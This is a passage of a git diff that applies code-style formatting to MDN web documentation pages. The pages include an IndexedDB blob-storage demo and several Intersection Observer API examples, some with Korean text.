-openReq.onupgradeneeded = function(event) {
+openReq.onupgradeneeded = function (event) {
   // All other databases have been closed. Set everything up.
   db.createObjectStore(/* ... */);
   useDatabase(db);
-}
+};
 
-openReq.onsuccess = function(event) {
+openReq.onsuccess = function (event) {
   var db = event.target.result;
   useDatabase(db);
   return;
-}
+};
 
 function useDatabase(db) {
   // Make sure to add a handler to be notified if another page requests a version
   // change. We must close the database. This allows the other page to upgrade the database.
   // If you don't do this then the upgrade won't happen until the user close the tab.
-  db.onversionchange = function(event) {
+  db.onversionchange = function (event) {
     db.close();
     alert("A new version of this page is ready. Please reload!");
   };
@@ -593,7 +615,7 @@ At least with the addition of the abort notifications and {{domxref("IDBDatabase
 
 ## Locale-aware sorting
 
-Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn’t handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:
+Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn't handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:
 
 - a
 - b
@@ -613,137 +635,132 @@ This new functionality enables developers to specify a locale when creating an i
 ### HTML Content
 
 ```html
-<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
-
-    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
-    <div class="note">
-      <p>
-        Works and tested with:
-      </p>
-      <div id="compat">
-      </div>
-    </div>
-
-    <div id="msg">
-    </div>
-
-    <form id="register-form">
-      <table>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-title" class="required">
-                Title:
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-title" name="pub-title" />
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-biblioid" class="required">
-                Bibliographic ID:<br/>
-                <span class="note">(ISBN, ISSN, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-year">
-                Year:
-              </label>
-            </td>
-            <td>
-              <input type="number" id="pub-year" name="pub-year" />
-            </td>
-          </tr>
-        </tbody>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-file">
-                File image:
-              </label>
-            </td>
-            <td>
-              <input type="file" id="pub-file"/>
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="pub-file-url">
-                Online-file image URL:<br/>
-                <span class="note">(same origin URL)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-file-url" name="pub-file-url"/>
-            </td>
-          </tr>
-        </tbody>
-      </table>
-
-      <div class="button-pane">
-        <input type="button" id="add-button" value="Add Publication" />
-        <input type="reset" id="register-form-reset"/>
-      </div>
-    </form>
-
-    <form id="delete-form">
-      <table>
-        <tbody>
-          <tr>
-            <td>
-              <label for="pub-biblioid-to-delete">
-                Bibliographic ID:<br/>
-                <span class="note">(ISBN, ISSN, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="pub-biblioid-to-delete"
-                     name="pub-biblioid-to-delete" />
-            </td>
-          </tr>
-          <tr>
-            <td>
-              <label for="key-to-delete">
-                Key:<br/>
-                <span class="note">(for example 1, 2, 3, etc.)</span>
-              </label>
-            </td>
-            <td>
-              <input type="text" id="key-to-delete"
-                     name="key-to-delete" />
-            </td>
-          </tr>
-        </tbody>
-      </table>
-      <div class="button-pane">
-        <input type="button" id="delete-button" value="Delete Publication" />
-        <input type="button" id="clear-store-button"
-               value="Clear the whole store" class="destructive" />
-      </div>
-    </form>
-
-    <form id="search-form">
-      <div class="button-pane">
-        <input type="button" id="search-list-button"
-               value="List database content" />
-      </div>
-    </form>
-
-    <div>
-      <div id="pub-msg">
-      </div>
-      <div id="pub-viewer">
-      </div>
-      <ul id="pub-list">
-      </ul>
-    </div>
+<script
+  type="text/javascript"
+  src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+<h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+<div class="note">
+  <p>Works and tested with:</p>
+  <div id="compat"></div>
+</div>
+
+<div id="msg"></div>
+
+<form id="register-form">
+  <table>
+    <tbody>
+      <tr>
+        <td>
+          <label for="pub-title" class="required"> Title: </label>
+        </td>
+        <td>
+          <input type="text" id="pub-title" name="pub-title" />
+        </td>
+      </tr>
+      <tr>
+        <td>
+          <label for="pub-biblioid" class="required">
+            Bibliographic ID:<br />
+            <span class="note">(ISBN, ISSN, etc.)</span>
+          </label>
+        </td>
+        <td>
+          <input type="text" id="pub-biblioid" name="pub-biblioid" />
+        </td>
+      </tr>
+      <tr>
+        <td>
+          <label for="pub-year"> Year: </label>
+        </td>
+        <td>
+          <input type="number" id="pub-year" name="pub-year" />
+        </td>
+      </tr>
+    </tbody>
+    <tbody>
+      <tr>
+        <td>
+          <label for="pub-file"> File image: </label>
+        </td>
+        <td>
+          <input type="file" id="pub-file" />
+        </td>
+      </tr>
+      <tr>
+        <td>
+          <label for="pub-file-url">
+            Online-file image URL:<br />
+            <span class="note">(same origin URL)</span>
+          </label>
+        </td>
+        <td>
+          <input type="text" id="pub-file-url" name="pub-file-url" />
+        </td>
+      </tr>
+    </tbody>
+  </table>
+
+  <div class="button-pane">
+    <input type="button" id="add-button" value="Add Publication" />
+    <input type="reset" id="register-form-reset" />
+  </div>
+</form>
+
+<form id="delete-form">
+  <table>
+    <tbody>
+      <tr>
+        <td>
+          <label for="pub-biblioid-to-delete">
+            Bibliographic ID:<br />
+            <span class="note">(ISBN, ISSN, etc.)</span>
+          </label>
+        </td>
+        <td>
+          <input
+            type="text"
+            id="pub-biblioid-to-delete"
+            name="pub-biblioid-to-delete" />
+        </td>
+      </tr>
+      <tr>
+        <td>
+          <label for="key-to-delete">
+            Key:<br />
+            <span class="note">(for example 1, 2, 3, etc.)</span>
+          </label>
+        </td>
+        <td>
+          <input type="text" id="key-to-delete" name="key-to-delete" />
+        </td>
+      </tr>
+    </tbody>
+  </table>
+  <div class="button-pane">
+    <input type="button" id="delete-button" value="Delete Publication" />
+    <input
+      type="button"
+      id="clear-store-button"
+      value="Clear the whole store"
+      class="destructive" />
+  </div>
+</form>
+
+<form id="search-form">
+  <div class="button-pane">
+    <input
+      type="button"
+      id="search-list-button"
+      value="List database content" />
+  </div>
+</form>
+
+<div>
+  <div id="pub-msg"></div>
+  <div id="pub-viewer"></div>
+  <ul id="pub-list"></ul>
+</div>
 ```
 
 ### CSS Content
@@ -841,20 +858,22 @@ input {
 ```js
 (function () {
   var COMPAT_ENVS = [
-    ['Firefox', ">= 16.0"],
-    ['Google Chrome',
-     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+    ["Firefox", ">= 16.0"],
+    [
+      "Google Chrome",
+      ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support",
+    ],
   ];
-  var compat = $('#compat');
+  var compat = $("#compat");
   compat.empty();
   compat.append('<ul id="compat-list"></ul>');
-  COMPAT_ENVS.forEach(function(val, idx, array) {
-    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  COMPAT_ENVS.forEach(function (val, idx, array) {
+    $("#compat-list").append("<li>" + val[0] + ": " + val[1] + "</li>");
   });
 
-  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_NAME = "mdn-demo-indexeddb-epublications";
   const DB_VERSION = 1; // Use a long long for this value (don't use a float)
-  const DB_STORE_NAME = 'publications';
+  const DB_STORE_NAME = "publications";
 
   var db;
 
@@ -877,12 +896,14 @@ input {
 
     req.onupgradeneeded = function (evt) {
       console.log("openDb.onupgradeneeded");
-      var store = evt.currentTarget.result.createObjectStore(
-        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
-
-      store.createIndex('biblioid', 'biblioid', { unique: true });
-      store.createIndex('title', 'title', { unique: false });
-      store.createIndex('year', 'year', { unique: false });
+      var store = evt.currentTarget.result.createObjectStore(DB_STORE_NAME, {
+        keyPath: "id",
+        autoIncrement: true,
+      });
+
+      store.createIndex("biblioid", "biblioid", { unique: true });
+      store.createIndex("title", "title", { unique: false });
+      store.createIndex("year", "year", { unique: false });
     };
   }
 
@@ -896,9 +917,9 @@ input {
   }
 
   function clearObjectStore(store_name) {
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var store = getObjectStore(DB_STORE_NAME, "readwrite");
     var req = store.clear();
-    req.onsuccess = function(evt) {
+    req.onsuccess = function (evt) {
       displayActionSuccess("Store cleared");
       displayPubList(store);
     };
@@ -910,10 +931,9 @@ input {
 
   function getBlob(key, store, success_callback) {
     var req = store.get(key);
-    req.onsuccess = function(evt) {
+    req.onsuccess = function (evt) {
       var value = evt.target.result;
-      if (value)
-        success_callback(value.blob);
+      if (value) success_callback(value.blob);
     };
   }
 
@@ -923,12 +943,12 @@ input {
   function displayPubList(store) {
     console.log("displayPubList");
 
-    if (typeof store == 'undefined')
-      store = getObjectStore(DB_STORE_NAME, 'readonly');
+    if (typeof store == "undefined")
+      store = getObjectStore(DB_STORE_NAME, "readonly");
 
-    var pub_msg = $('#pub-msg');
+    var pub_msg = $("#pub-msg");
     pub_msg.empty();
-    var pub_list = $('#pub-list');
+    var pub_list = $("#pub-list");
     pub_list.empty();
     // Resetting the iframe so that it doesn't display previous content
     newViewerFrame();
@@ -939,18 +959,21 @@ input {
     // transaction, and their results are returned in the same order.
     // Thus the count text below will be displayed before the actual pub list
     // (not that it is algorithmically important in this case).
-    req.onsuccess = function(evt) {
-      pub_msg.append('<p>There are <strong>' + evt.target.result +
-                     '</strong> record(s) in the object store.</p>');
+    req.onsuccess = function (evt) {
+      pub_msg.append(
+        "<p>There are <strong>" +
+          evt.target.result +
+          "</strong> record(s) in the object store.</p>",
+      );
     };
-    req.onerror = function(evt) {
+    req.onerror = function (evt) {
       console.error("add error", this.error);
       displayActionFailure(this.error);
     };
 
     var i = 0;
     req = store.openCursor();
-    req.onsuccess = function(evt) {
+    req.onsuccess = function (evt) {
       var cursor = evt.target.result;
 
       // If the cursor is pointing at something, ask for the data
@@ -959,21 +982,31 @@ input {
         req = store.get(cursor.key);
         req.onsuccess = function (evt) {
           var value = evt.target.result;
-          var list_item = $('<li>' +
-                            '[' + cursor.key + '] ' +
-                            '(biblioid: ' + value.biblioid + ') ' +
-                            value.title +
-                            '</li>');
-          if (value.year != null)
-            list_item.append(' - ' + value.year);
-
-          if (value.hasOwnProperty('blob') &&
-              typeof value.blob != 'undefined') {
+          var list_item = $(
+            "<li>" +
+              "[" +
+              cursor.key +
+              "] " +
+              "(biblioid: " +
+              value.biblioid +
+              ") " +
+              value.title +
+              "</li>",
+          );
+          if (value.year != null) list_item.append(" - " + value.year);
+
+          if (
+            value.hasOwnProperty("blob") &&
+            typeof value.blob != "undefined"
+          ) {
             var link = $('<a href="' + cursor.key + '">File</a>');
-            link.on('click', function() { return false; });
-            link.on('mouseenter', function(evt) {
-                      setInViewer(evt.target.getAttribute('href')); });
-            list_item.append(' / ');
+            link.on("click", function () {
+              return false;
+            });
+            link.on("mouseenter", function (evt) {
+              setInViewer(evt.target.getAttribute("href"));
+            });
+            list_item.append(" / ");
             list_item.append(link);
           } else {
             list_item.append(" / No attached file");
@@ -993,9 +1026,9 @@ input {
   }
 
   function newViewerFrame() {
-    var viewer = $('#pub-viewer');
+    var viewer = $("#pub-viewer");
     viewer.empty();
-    var iframe = $('<iframe />');
+    var iframe = $("<iframe />");
     viewer.append(iframe);
     return iframe;
   }
@@ -1003,50 +1036,51 @@ input {
   function setInViewer(key) {
     console.log("setInViewer:", arguments);
     key = Number(key);
-    if (key == current_view_pub_key)
-      return;
+    if (key == current_view_pub_key) return;
 
     current_view_pub_key = key;
 
-    var store = getObjectStore(DB_STORE_NAME, 'readonly');
-    getBlob(key, store, function(blob) {
+    var store = getObjectStore(DB_STORE_NAME, "readonly");
+    getBlob(key, store, function (blob) {
       console.log("setInViewer blob:", blob);
       var iframe = newViewerFrame();
 
       // It is not possible to set a direct link to the
       // blob to provide a mean to directly download it.
-      if (blob.type == 'text/html') {
+      if (blob.type == "text/html") {
         var reader = new FileReader();
-        reader.onload = (function(evt) {
+        reader.onload = function (evt) {
           var html = evt.target.result;
-          iframe.load(function() {
-            $(this).contents().find('html').html(html);
+          iframe.load(function () {
+            $(this).contents().find("html").html(html);
           });
-        });
+        };
         reader.readAsText(blob);
-      } else if (blob.type.indexOf('image/') == 0) {
-        iframe.load(function() {
-          var img_id = 'image-' + key;
+      } else if (blob.type.indexOf("image/") == 0) {
+        iframe.load(function () {
+          var img_id = "image-" + key;
           var img = $('<img id="' + img_id + '"/>');
-          $(this).contents().find('body').html(img);
+          $(this).contents().find("body").html(img);
           var obj_url = window.URL.createObjectURL(blob);
-          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          $(this)
+            .contents()
+            .find("#" + img_id)
+            .attr("src", obj_url);
           window.URL.revokeObjectURL(obj_url);
         });
-      } else if (blob.type == 'application/pdf') {
-        $('*').css('cursor', 'wait');
+      } else if (blob.type == "application/pdf") {
+        $("*").css("cursor", "wait");
         var obj_url = window.URL.createObjectURL(blob);
-        iframe.load(function() {
-          $('*').css('cursor', 'auto');
+        iframe.load(function () {
+          $("*").css("cursor", "auto");
         });
-        iframe.attr('src', obj_url);
+        iframe.attr("src", obj_url);
         window.URL.revokeObjectURL(obj_url);
       } else {
-        iframe.load(function() {
-          $(this).contents().find('body').html("No view available");
+        iframe.load(function () {
+          $(this).contents().find("body").html("No view available");
         });
       }
-
     });
   }
 
@@ -1063,10 +1097,10 @@ input {
     console.log("addPublicationFromUrl:", arguments);
 
     var xhr = new XMLHttpRequest();
-    xhr.open('GET', url, true);
+    xhr.open("GET", url, true);
     // Setting the wanted responseType to "blob"
     // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
-    xhr.responseType = 'blob';
+    xhr.responseType = "blob";
     xhr.onload = function (evt) {
       if (xhr.status == 200) {
         console.log("Blob retrieved");
@@ -1074,8 +1108,11 @@ input {
         console.log("Blob:", blob);
         addPublication(biblioid, title, year, blob);
       } else {
-        console.error("addPublicationFromUrl error:",
-        xhr.responseText, xhr.status);
+        console.error(
+          "addPublicationFromUrl error:",
+          xhr.responseText,
+          xhr.status,
+        );
       }
     };
     xhr.send();
@@ -1109,17 +1146,17 @@ input {
   function addPublication(biblioid, title, year, blob) {
     console.log("addPublication arguments:", arguments);
     var obj = { biblioid: biblioid, title: title, year: year };
-    if (typeof blob != 'undefined')
-      obj.blob = blob;
+    if (typeof blob != "undefined") obj.blob = blob;
 
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var store = getObjectStore(DB_STORE_NAME, "readwrite");
     var req;
     try {
       req = store.add(obj);
     } catch (e) {
-      if (e.name == 'DataCloneError')
-        displayActionFailure("This engine doesn't know how to clone a Blob, " +
-                             "use Firefox");
+      if (e.name == "DataCloneError")
+        displayActionFailure(
+          "This engine doesn't know how to clone a Blob, " + "use Firefox",
+        );
       throw e;
     }
     req.onsuccess = function (evt) {
@@ -1127,7 +1164,7 @@ input {
       displayActionSuccess();
       displayPubList(store);
     };
-    req.onerror = function() {
+    req.onerror = function () {
       console.error("addPublication error", this.error);
       displayActionFailure(this.error);
     };
@@ -1138,10 +1175,10 @@ input {
    */
   function deletePublicationFromBib(biblioid) {
     console.log("deletePublication:", arguments);
-    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
-    var req = store.index('biblioid');
-    req.get(biblioid).onsuccess = function(evt) {
-      if (typeof evt.target.result == 'undefined') {
+    var store = getObjectStore(DB_STORE_NAME, "readwrite");
+    var req = store.index("biblioid");
+    req.get(biblioid).onsuccess = function (evt) {
+      if (typeof evt.target.result == "undefined") {
         displayActionFailure("No matching record found");
         return;
       }
@@ -1159,18 +1196,18 @@ input {
   function deletePublication(key, store) {
     console.log("deletePublication:", arguments);
 
-    if (typeof store == 'undefined')
-      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    if (typeof store == "undefined")
+      store = getObjectStore(DB_STORE_NAME, "readwrite");
 
     // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
     // the result of the Object Store Deletion Operation algorithm is
     // undefined, so it's not possible to know if some records were actually
     // deleted by looking at the request result.
     var req = store.get(key);
-    req.onsuccess = function(evt) {
+    req.onsuccess = function (evt) {
       var record = evt.target.result;
       console.log("record:", record);
-      if (typeof record == 'undefined') {
+      if (typeof record == "undefined") {
         displayActionFailure("No matching record found");
         return;
       }
@@ -1178,7 +1215,7 @@ input {
       // the deletion. If the key was a Number for creation, then it needs to
       // be a Number for deletion.
       req = store.delete(key);
-      req.onsuccess = function(evt) {
+      req.onsuccess = function (evt) {
         console.log("evt:", evt);
         console.log("evt.target:", evt.target);
         console.log("evt.target.result:", evt.target.result);
@@ -1196,38 +1233,38 @@ input {
   }
 
   function displayActionSuccess(msg) {
-    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
-    $('#msg').html('<span class="action-success">' + msg + '</span>');
+    msg = typeof msg != "undefined" ? "Success: " + msg : "Success";
+    $("#msg").html('<span class="action-success">' + msg + "</span>");
   }
   function displayActionFailure(msg) {
-    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
-    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+    msg = typeof msg != "undefined" ? "Failure: " + msg : "Failure";
+    $("#msg").html('<span class="action-failure">' + msg + "</span>");
   }
   function resetActionStatus() {
     console.log("resetActionStatus ...");
-    $('#msg').empty();
+    $("#msg").empty();
     console.log("resetActionStatus DONE");
   }
 
   function addEventListeners() {
     console.log("addEventListeners");
 
-    $('#register-form-reset').click(function(evt) {
+    $("#register-form-reset").click(function (evt) {
       resetActionStatus();
     });
 
-    $('#add-button').click(function(evt) {
+    $("#add-button").click(function (evt) {
       console.log("add ...");
-      var title = $('#pub-title').val();
-      var biblioid = $('#pub-biblioid').val();
+      var title = $("#pub-title").val();
+      var biblioid = $("#pub-biblioid").val();
       if (!title || !biblioid) {
         displayActionFailure("Required field(s) missing");
         return;
       }
-      var year = $('#pub-year').val();
-      if (year != '') {
+      var year = $("#pub-year").val();
+      if (year != "") {
         // Better use Number.isInteger if the engine has EcmaScript 6
-        if (isNaN(year))  {
+        if (isNaN(year)) {
           displayActionFailure("Invalid year");
           return;
         }
@@ -1236,14 +1273,14 @@ input {
         year = null;
       }
 
-      var file_input = $('#pub-file');
+      var file_input = $("#pub-file");
       var selected_file = file_input.get(0).files[0];
       console.log("selected_file:", selected_file);
       // Keeping a reference on how to reset the file input in the UI once we
       // have its value, but instead of doing that we rather use a "reset" type
       // input in the HTML form.
       //file_input.val(null);
-      var file_url = $('#pub-file-url').val();
+      var file_url = $("#pub-file-url").val();
       if (selected_file) {
         addPublication(biblioid, title, year, selected_file);
       } else if (file_url) {
@@ -1251,19 +1288,18 @@ input {
       } else {
         addPublication(biblioid, title, year);
       }
-
     });
 
-    $('#delete-button').click(function(evt) {
+    $("#delete-button").click(function (evt) {
       console.log("delete ...");
-      var biblioid = $('#pub-biblioid-to-delete').val();
-      var key = $('#key-to-delete').val();
+      var biblioid = $("#pub-biblioid-to-delete").val();
+      var key = $("#key-to-delete").val();
 
-      if (biblioid != '') {
+      if (biblioid != "") {
         deletePublicationFromBib(biblioid);
-      } else if (key != '') {
+      } else if (key != "") {
         // Better use Number.isInteger if the engine has EcmaScript 6
-        if (key == '' || isNaN(key))  {
+        if (key == "" || isNaN(key)) {
           displayActionFailure("Invalid key");
           return;
         }
@@ -1272,20 +1308,18 @@ input {
       }
     });
 
-    $('#clear-store-button').click(function(evt) {
+    $("#clear-store-button").click(function (evt) {
       clearObjectStore();
     });
 
-    var search_button = $('#search-list-button');
-    search_button.click(function(evt) {
+    var search_button = $("#search-list-button");
+    search_button.click(function (evt) {
       displayPubList();
     });
-
   }
 
   openDb();
   addEventListeners();
-
 })(); // Immediately-Invoked Function Expression (IIFE)
 ```
 
diff --git a/files/ko/web/api/intersection_observer_api/index.md b/files/ko/web/api/intersection_observer_api/index.md
index 004cca4b80e654..3da58b3b853963 100644
--- a/files/ko/web/api/intersection_observer_api/index.md
+++ b/files/ko/web/api/intersection_observer_api/index.md
@@ -44,10 +44,10 @@ intersection observer를 생성하기 위해서는 생성자 호출 시 콜백 
 
 ```js
 let options = {
-  root: document.querySelector('#scrollArea'),
-  rootMargin: '0px',
-  threshold: 1.0
-}
+  root: document.querySelector("#scrollArea"),
+  rootMargin: "0px",
+  threshold: 1.0,
+};
 
 let observer = new IntersectionObserver(callback, options);
 ```
@@ -71,7 +71,7 @@ let observer = new IntersectionObserver(callback, options);
 Once you have created the observer, you need to give it a target element to watch:
 
 ```js
-let target = document.querySelector('#listItem');
+let target = document.querySelector("#listItem");
 observer.observe(target);
 
 // the callback we setup for the observer will be executed now for the first time
@@ -82,7 +82,7 @@ Whenever the target meets a threshold specified for the `IntersectionObserver`,
 
 ```js
 let callback = (entries, observer) => {
-  entries.forEach(entry => {
+  entries.forEach((entry) => {
     // Each entry describes an intersection change for one observed
     // target element:
     //   entry.boundingClientRect
@@ -143,8 +143,7 @@ To get a feeling for how thresholds work, try scrolling the box below around. Ea
 
 <main>
   <div class="contents">
-    <div class="wrapper">
-    </div>
+    <div class="wrapper"></div>
   </div>
 </main>
 ```
@@ -188,7 +187,10 @@ To get a feeling for how thresholds work, try scrolling the box below around. Ea
 }
 
 .label {
-  font: 14px "Open Sans", "Arial", sans-serif;
+  font:
+    14px "Open Sans",
+    "Arial",
+    sans-serif;
   position: absolute;
   margin: 0;
   background-color: rgba(255, 255, 255, 0.7);
@@ -231,7 +233,7 @@ startup = () => {
   let observerOptions = {
     root: null,
     rootMargin: "0px",
-    threshold: []
+    threshold: [],
   };
 
   // An array of threshold sets for each of the boxes. The
@@ -243,45 +245,51 @@ startup = () => {
     [],
     [0.5],
     [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0],
-    [0, 0.25, 0.5, 0.75, 1.0]
+    [0, 0.25, 0.5, 0.75, 1.0],
   ];
 
-  for (let i=0; i<=1.0; i+= 0.01) {
+  for (let i = 0; i <= 1.0; i += 0.01) {
     thresholdSets[0].push(i);
   }
 
   // Add each box, creating a new observer for each
 
-  for (let i=0; i<4; i++) {
-    let template = document.querySelector("#boxTemplate").content.cloneNode(true);
-    let boxID = "box" + (i+1);
+  for (let i = 0; i < 4; i++) {
+    let template = document
+      .querySelector("#boxTemplate")
+      .content.cloneNode(true);
+    let boxID = "box" + (i + 1);
     template.querySelector(".sampleBox").id = boxID;
     wrapper.appendChild(document.importNode(template, true));
 
     // Set up the observer for this box
 
     observerOptions.threshold = thresholdSets[i];
-    observers[i] = new IntersectionObserver(intersectionCallback, observerOptions);
+    observers[i] = new IntersectionObserver(
+      intersectionCallback,
+      observerOptions,
+    );
     observers[i].observe(document.querySelector("#" + boxID));
   }
 
   // Scroll to the starting position
 
-  document.scrollingElement.scrollTop = wrapper.firstElementChild.getBoundingClientRect().top + window.scrollY;
+  document.scrollingElement.scrollTop =
+    wrapper.firstElementChild.getBoundingClientRect().top + window.scrollY;
   document.scrollingElement.scrollLeft = 750;
-}
+};
 
 intersectionCallback = (entries) => {
   entries.forEach((entry) => {
     let box = entry.target;
-    let visiblePct = (Math.floor(entry.intersectionRatio * 100)) + "%";
+    let visiblePct = Math.floor(entry.intersectionRatio * 100) + "%";
 
     box.querySelector(".topLeft").innerHTML = visiblePct;
     box.querySelector(".topRight").innerHTML = visiblePct;
     box.querySelector(".bottomLeft").innerHTML = visiblePct;
     box.querySelector(".bottomRight").innerHTML = visiblePct;
   });
-}
+};
 
 startup();
 ```
@@ -338,9 +346,7 @@ The HTML for this example is very short, with a primary element which is the box
 
 ```html
 <div id="box">
-  <div class="vertical">
-    Welcome to <strong>The Box!</strong>
-  </div>
+  <div class="vertical">Welcome to <strong>The Box!</strong></div>
 </div>
 ```
 
@@ -352,7 +358,9 @@ The CSS isn't terribly important for the purposes of this example; it lays out t
 #box {
   background-color: rgba(40, 40, 190, 255);
   border: 4px solid rgb(20, 20, 120);
-  transition: background-color 1s, border 1s;
+  transition:
+    background-color 1s,
+    border 1s;
   width: 350px;
   height: 350px;
   display: flex;
@@ -393,11 +401,15 @@ let increasingColor = "rgba(40, 40, 190, ratio)";
 let decreasingColor = "rgba(190, 40, 40, ratio)";
 
 // Set things up
-window.addEventListener("load", (event) => {
-  boxElement = document.querySelector("#box");
-
-  createObserver();
-}, false);
+window.addEventListener(
+  "load",
+  (event) => {
+    boxElement = document.querySelector("#box");
+
+    createObserver();
+  },
+  false,
+);
 ```
 
 The constants and variables we set up here are:
@@ -424,7 +436,7 @@ function createObserver() {
   let options = {
     root: null,
     rootMargin: "0px",
-    threshold: buildThresholdList()
+    threshold: buildThresholdList(),
   };
 
   observer = new IntersectionObserver(handleIntersect, options);
@@ -449,8 +461,8 @@ function buildThresholdList() {
   let thresholds = [];
   let numSteps = 20;
 
-  for (let i=1.0; i<=numSteps; i++) {
-    let ratio = i/numSteps;
+  for (let i = 1.0; i <= numSteps; i++) {
+    let ratio = i / numSteps;
     thresholds.push(ratio);
   }
 
@@ -484,9 +496,15 @@ When the browser detects that the target element (in our case, the one with the
 function handleIntersect(entries, observer) {
   entries.forEach((entry) => {
     if (entry.intersectionRatio > prevRatio) {
-      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+      entry.target.style.backgroundColor = increasingColor.replace(
+        "ratio",
+        entry.intersectionRatio,
+      );
     } else {
-      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+      entry.target.style.backgroundColor = decreasingColor.replace(
+        "ratio",
+        entry.intersectionRatio,
+      );
     }
 
     prevRatio = entry.intersectionRatio;
diff --git a/files/ko/web/api/intersectionobserver/index.md b/files/ko/web/api/intersectionobserver/index.md
index ec258215e931d2..4684e40ebb4912 100644
--- a/files/ko/web/api/intersectionobserver/index.md
+++ b/files/ko/web/api/intersectionobserver/index.md
@@ -37,16 +37,16 @@ slug: Web/API/IntersectionObserver
 ## 예제
 
 ```js
-var intersectionObserver = new IntersectionObserver(function(entries) {
+var intersectionObserver = new IntersectionObserver(function (entries) {
   // intersectionRatio가 0이라는 것은 대상을 볼 수 없다는 것이므로
   // 아무것도 하지 않음
   if (entries[0].intersectionRatio <= 0) return;
 
   loadItems(10);
-  console.log('새 항목 불러옴');
+  console.log("새 항목 불러옴");
 });
 // 주시 시작
-intersectionObserver.observe(document.querySelector('.scrollerFooter'));
+intersectionObserver.observe(document.querySelector(".scrollerFooter"));
 ```
 
 ## 명세
diff --git a/files/ko/web/api/intersectionobserver/intersectionobserver/index.md b/files/ko/web/api/intersectionobserver/intersectionobserver/index.md
index 53272db836e93a..7f27a338ca1796 100644
--- a/files/ko/web/api/intersectionobserver/intersectionobserver/index.md
+++ b/files/ko/web/api/intersectionobserver/intersectionobserver/index.md
@@ -18,6 +18,7 @@ new IntersectionObserver(callback[, options]);
 ### 매개변수
 
 - `callback`
+
   - : 대상 요소의 보이는 영역 비율이 역치를 위아래로 넘을 때 (더 커졌거나 작아졌을 때 모두) 호출할 함수입니다. 두 개의 매개변수를 받습니다.
     - `entries`
       - : 더 드러나거나 가려져서 지정한 역치를 넘어가게 된 요소를 나타내는 {{domxref("IntersectionObserverEntry")}} 객체의 배열.
@@ -49,8 +50,7 @@ new IntersectionObserver(callback[, options]);
 요소의 볼 수 있는 영역 비율이 10% 위아래로 넘어갈 때 `myObserverCallback` 함수를 호출하는 새로운 교차 탐지기를 생성하는 예제입니다.
 
 ```js
-let observer = new IntersectionObserver(myObserverCallback,
-                   {threshold: 0.1});
+let observer = new IntersectionObserver(myObserverCallback, { threshold: 0.1 });
 ```
 
 ## 명세
diff --git a/files/ko/web/api/intersectionobserver/observe/index.md b/files/ko/web/api/intersectionobserver/observe/index.md
index dfe2be68418a7f..af1a26aa3e111c 100644
--- a/files/ko/web/api/intersectionobserver/observe/index.md
+++ b/files/ko/web/api/intersectionobserver/observe/index.md
@@ -30,24 +30,24 @@ IntersectionObserver.observe(targetElement);
 
 ```js
 // IntersectionObserver 등록
-const io = new IntersectionObserver(entries => {
-  entries.forEach(entry => {
+const io = new IntersectionObserver((entries) => {
+  entries.forEach((entry) => {
     // 주시 대상이 뷰포트 안으로 들어오면 active 클래스 추가
     if (entry.intersectionRatio > 0) {
-      entry.target.classList.add('active');
+      entry.target.classList.add("active");
     }
     // 아니면 active 클래스 제거
     else {
-      entry.target.classList.remove('active');
+      entry.target.classList.remove("active");
     }
-  })
-})
+  });
+});
 
 // 주시 대상 선언, 주시 시작
-const boxElList = document.querySelectorAll('.box');
+const boxElList = document.querySelectorAll(".box");
 boxElList.forEach((el) => {
   io.observe(el);
-})
+});
 ```
 
 ## 명세
diff --git a/files/ko/web/api/intersectionobserver/root/index.md b/files/ko/web/api/intersectionobserver/root/index.md
index 481b59b0656fe1..5020e50f4beab9 100644
--- a/files/ko/web/api/intersectionobserver/root/index.md
+++ b/files/ko/web/api/intersectionobserver/root/index.md
@@ -2,6 +2,7 @@
 title: IntersectionObserver.root
 slug: Web/API/IntersectionObserver/root
 ---
+
 {{APIRef("Intersection Observer API")}}
 
 {{domxref("IntersectionObserver")}} 인터페이스의 **`root`** 읽기 전용 속성은 {{glossary("bounding box", "바운딩 박스")}}를 주시 대상의 {{glossary("viewport", "뷰포트")}}로 취급하는 {{domxref("Element")}} 또는 {{domxref("Document")}}를 나타냅니다.
diff --git a/files/ko/web/api/intersectionobserver/takerecords/index.md b/files/ko/web/api/intersectionobserver/takerecords/index.md
index 5dd8a27fa824ab..f0498f6f95b249 100644
